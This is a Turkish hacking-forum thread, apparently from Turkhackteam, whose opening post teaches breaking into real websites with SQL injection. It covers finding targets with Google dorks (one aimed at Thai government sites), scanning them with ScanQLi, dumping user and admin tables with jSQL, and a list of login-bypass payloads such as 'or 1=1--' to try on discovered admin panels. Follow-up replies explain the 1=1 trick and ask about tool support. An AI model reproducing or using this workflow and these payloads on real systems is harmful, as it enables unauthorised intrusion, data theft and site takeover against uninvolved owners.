SQL Enjeksiyonu Kullanarak Site Hacklemek

ѕeleɴια

Kıdemli Üye
18 May 2018
2,619
907
ZYZZ
Merhaba kısa bir konu olacak. Temel SQL Enjeksiyonu ile nasıl siteleri hackleriz anlatacağım.

KONU İÇERİKLERİ;

1) Savunmasız Siteler Nasıl Bulunur?
2) SQL Açığı Bulmak
3) SQL Açığı Sömürmek
4) SQL Bypass Login Yöntemi

.

Savunmasız Siteler Nasıl Bulunuyor?

Savunmasız siteler dork dediğimiz terimler sayesinde bulunabiliyor. Özel dorklar oluşturarak alış veriş siteleri, üniversiteler, oteller şeklinde karşımıza çıkan sitelerde sql antremanları yapabiliriz. Dorklar sayesinde SQL açıklı ve istediğiniz site türüne göre sadece sql de değil zaafiyetler barındıran siteler bulabilirsiniz. Her zaman hepsi hacklenebilir değildir.

Örneğin tayland gov sitelerinin bulunduğu dork;

Kod:
inurl:"select_news.php?news_id="

Şeklinde. Google da arama kısmına bu dorku yazıp çıkan sitelerde az sonra anlattıklarımı deneyebilirsiniz.

2) SQL Açığı Bulmak

Bir sitede SQL açığı var mı nasıl bakarız buna değineceğim. Windows da safe3, Linux sistemlerde ScanQli bulunuyor. Dorklardan bulduğunuz web sitelerin ana örneğin http://www.deneme.com gibi olan kısmını alıp bu araçlarda taratabilirsiniz. Windows kullanmadığım için ScanQli yi anlatacağım. Önce aracı github dan yüklemeliyiz.

Kod:
cd Masaüstü
( eğer ingilizce kullanıyorsanız cd Desktop )

Kod:
git clone https://github.com/bambish/ScanQLi.git

Kodumuzu terminalde çalıştırıyoruz.



Masaüstüne dosyamız geldi. Gerekli modüllerin kurulumu için;

Kod:
cd ScanQLi/
Kod:
pip3 install -r  requirements.txt

Komutlarını çalıştırıyoruz. Clear çekerek ekranı temizleyebilirsiniz. Sql taraması yapmak için

Kod:
python3 scanqli.py -u "http://www.hedefsite.com" -r

Komutunu çalıştırınca site içinde SQL Enjeksiyonu bulunan kısımları url halinde çıkarıyor.

SQL Açığını Sömürmek

Bir çok araç var. Ben windows da Havij . Linux de Jsql tercih ediyorum. Linux de olduğum için Jsql i anlatacağım. Linuxun kendi deposunda bulunuyor.

Kod:
apt-get install jsql

Komutu ile gerekli kurulum sağlandıktan sonra.

Kod:
jsql

Komutu ile açılabilir.



Gui bir araç arayüz halinde kullanışlı. Terminalin kapatılması durumunda bu ekran da kapanır. Arama yerinden de açılabilir ama bazen donabiliyor.

ScanQli ile bulunan url'leri " Adres Giriniz " kısmına yapıştırıp enter diyerek tek tek denenebilir. Veriler çekildiğinde Veritabanı kısmına gelcektir. Bu veri tabanı kısımlarında mysql,users,login,admin gibi önemli görünebileceklere tıklayarak açabilirsiniz. Daha sonra columslar çıkacaktır. Aynı şekilde önemli gördüklerinizim yanındaki kutuları seçeceksiniz. Sonrasında önceden çıkan o columsa sağ tıklayıp en üst deki yük seçeneğine basacaksınız gerekli bilgiler sağda tablo olarak çıkacaktır.

NOT: Enjeksiyon bulmazsa ya gerçekten enjeksiyon yok veya çekilecek veri bulamamıştır yada aşımlası gereken güvenlik duvarları olabilir. Konularda anlatırım.

SQL Bypass Login Yöntemi

Bazı sitelerde admin panelinde SQL Bypass login yöntemi ile giriş yapabiliyoruz. Sitenin admin panelini bulduktan sonra bu yöntemi deneyebilirsiniz.


Kod:
‘ or ”=’

‘=’ ‘or’

‘or’1’=’1 (güncel)

or 1=1

or 1=1–

or 1=1#

or 1=1/*

admin’ —

admin’ #

admin’/*

admin’ or ‘1’=’1

admin’ or ‘1’=’1′–

admin’ or ‘1’=’1’#

admin’ or ‘1’=’1’/*

admin’or 1=1 or ”=’

admin’ or 1=1

admin’ or 1=1–

admin’ or 1=1#

admin’ or 1=1/*

Ne bu kod tarzı şeyler denirse. Bunları bulunan admin panelinde deneyerek giriş denemeleri yapılabilir.

Örneğin hem kullanıcı adı kısmına
admin’ —
hemde Passwords kısmına
admin’ —

Girilerek giriş yapılıyor mu denemeleri yapılabilir. Katkısı olması dileğiyle iyi forumlar.

ADMİN PANELLERİ BULMAK İÇİN ADMİN PANEL DORKLARINA GÖZ ATABİLİRSİNİZ.MUTLAKA BYPASS EDİLEBİLİR BULURSUNUZ.
(EDİT)





 
Son düzenleme:

ѕeleɴια

Kıdemli Üye
18 May 2018
2,619
907
ZYZZ
Eline emeğine sağlık :)
Teşekkür ederim :)
Eline emeğine sağlık Ñ•eleɴια.
Teşekkürler hocam :)
Ellerine sağlık Selenia :)
Teşekkür ederim ber0l
Elinize Sağlık Hocam
Sağ ol Yodaa
Eline sağlık <3 Yararlı Bilgi
Böyle düşünmen güzel. Teşekkürler geliştireceğim.
 

x4807

Katılımcı Üye
10 Ağu 2019
985
17
Sql injectionun veritabanlarında neden kaynaklandığınından, blind (boolean based? )ve time injection gibi daha detaylı şeylerden bahsedebilirdin. Jsql gibi farklı toolların kullanımını, dork kullanımını göstermişsin ancak arkada neler döndüğünü, hangi kod parçacığı yüzünden injection nasıl ve hangisinin oluştuğunu açıklasaydın içerik zenginliği olarak daha iyi olabilirdi.

En basitinden:


http://www.zafiyetlisite.com/urunler/urunler.asp?urunNo=999 or 1=1.

SELECT urunIsmi, urunAciklama
FROM Urunler
WHERE urunNo = 999 OR 1=1

Burada 1=1 değeri her zaman gerçekleşeceği için query veritabanında bulunan bütün ürün adlarını ve açıklamalarını listeler
 

ѕeleɴια

Kıdemli Üye
18 May 2018
2,619
907
ZYZZ
Sql injectionun veritabanlarında neden kaynaklandığınından, blind (boolean based? )ve time injection gibi daha detaylı şeylerden bahsedebilirdin. Jsql gibi farklı toolların kullanımını, dork kullanımını göstermişsin ancak arkada neler döndüğünü, hangi kod parçacığı yüzünden injection nasıl ve hangisinin oluştuğunu açıklasaydın içerik zenginliği olarak daha iyi olabilirdi.

En basitinden:


http://www.zafiyetlisite.com/urunler/urunler.asp?urunNo=999 or 1=1.



Burada 1=1 değeri her zaman gerçekleşeceği için query veritabanında bulunan bütün ürün adlarını ve açıklamalarını listeler
Çok teşekkür ederim x4807 :) Dikkate alacağım. Geliştiririm.
 

RegularExp

Yeni üye
9 Eyl 2015
39
0
Sql injectionun veritabanlarında neden kaynaklandığınından, blind (boolean based? )ve time injection gibi daha detaylı şeylerden bahsedebilirdin. Jsql gibi farklı toolların kullanımını, dork kullanımını göstermişsin ancak arkada neler döndüğünü, hangi kod parçacığı yüzünden injection nasıl ve hangisinin oluştuğunu açıklasaydın içerik zenginliği olarak daha iyi olabilirdi.

En basitinden:


http://www.zafiyetlisite.com/urunler/urunler.asp?urunNo=999 or 1=1.



Burada 1=1 değeri her zaman gerçekleşeceği için query veritabanında bulunan bütün ürün adlarını ve açıklamalarını listeler

Jsql mac destekli mi?
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.